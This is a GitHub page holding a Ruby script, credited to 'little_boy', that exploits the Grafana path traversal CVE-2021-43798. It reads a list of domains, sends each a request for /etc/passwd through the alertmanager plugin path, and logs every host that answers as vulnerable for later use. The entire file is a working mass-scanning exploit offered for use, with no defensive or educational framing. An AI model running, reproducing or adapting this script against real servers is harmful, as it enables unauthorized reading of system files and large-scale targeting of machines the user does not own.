-
Notifications
You must be signed in to change notification settings - Fork 3
/
cve-2021-43798.rb
47 lines (43 loc) · 1.98 KB
/
cve-2021-43798.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
require 'httparty'
require 'colorize'
require 'timeout'
puts '
█████████████████████████████████████████████████████████████████████████████
█─▄▄▄─█▄─█─▄█▄─▄▄─█▀▀▀▀▀██▀▄▄▀█─▄▄─█▀▄▄▀█▀░██▀▀▀▀▀██░█░██▄▄▄░█▄▄▄░█░▄▄░█▀▄▄▀█
█─███▀██▄▀▄███─▄█▀█████████▀▄██─██─██▀▄███░█████████▄▄░███▄▄░███░██▄▄▄░█▀▄▄▀█
▀▄▄▄▄▄▀▀▀▄▀▀▀▄▄▄▄▄▀▀▀▀▀▀▀▀▄▄▄▄▀▄▄▄▄▀▄▄▄▄▀▄▄▄▀▀▀▀▀▀▀▀▀▄▄▄▀▄▄▄▄▀▀▄██▀▄▄▄▄▀█▄▄█▀
coded by little_boy'.green
puts
puts
print 'Enter domain list : '
domain = gets.chomp
print 'Enter file name save : '
file_name = gets.chomp
file = File.open(domain, "r").read
data = file.split("\n")
data.each do |domen|
begin
status = Timeout::timeout(2){
response = HTTParty.get(domen+'/public/plugins/alertmanager/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd',follow_redirects: false)
puts
if response.body.include?('daemon' || '/nologin')
puts '[+] => Vulnerable'.colorize(:yellow)
File.open("#{file_name}","a+"){|file|file.write("#{domen}\n")}
puts "File Saved => #{Dir.pwd}/#{file_name}".yellow
else !response.body.include?('daemon' || '/nologin')
puts '[-] => Not Vulnerable'.colorize(:red)
end
}
rescue OpenSSL::SSL::SSLError
puts
puts "[-] => SSL Error...".red
rescue Errno::ECONNREFUSED
puts "[-] => Connection Refused!"
rescue Timeout::Error
puts
puts "[-] => Time Out...".red
rescue Errno::ECONNRESET
rescue Interrupt
puts "Leaving the program...".red
end
end